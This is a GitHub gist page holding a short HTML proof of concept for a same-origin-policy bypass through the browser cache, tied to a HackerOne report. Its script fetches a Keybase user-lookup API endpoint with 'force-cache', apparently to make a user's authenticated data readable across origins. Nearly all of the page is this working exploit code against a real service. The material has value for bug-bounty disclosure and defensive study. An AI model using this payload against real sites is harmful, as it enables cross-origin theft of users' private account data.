Skip to content

Instantly share code, notes, and snippets.

@andripwn

andripwn/forcecache.html

Created December 25, 2019 17:35
Show Gist options
  • Save andripwn/0e21abb76fe1bd884000f217d178d4a1 to your computer and use it in GitHub Desktop.
Save andripwn/0e21abb76fe1bd884000f217d178d4a1 to your computer and use it in GitHub Desktop.
Download ZIP
SOP bypass using browser cache (https://hackerone.com/reports/761726)
Raw
forcecache.html
<html>
<script>
var url = "https://keybase.io/_/api/1.0/user/lookup.json?username={YOUR_USERNAME}";
fetch(url, {
method: 'GET',
cache: 'force-cache'
});
</script>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment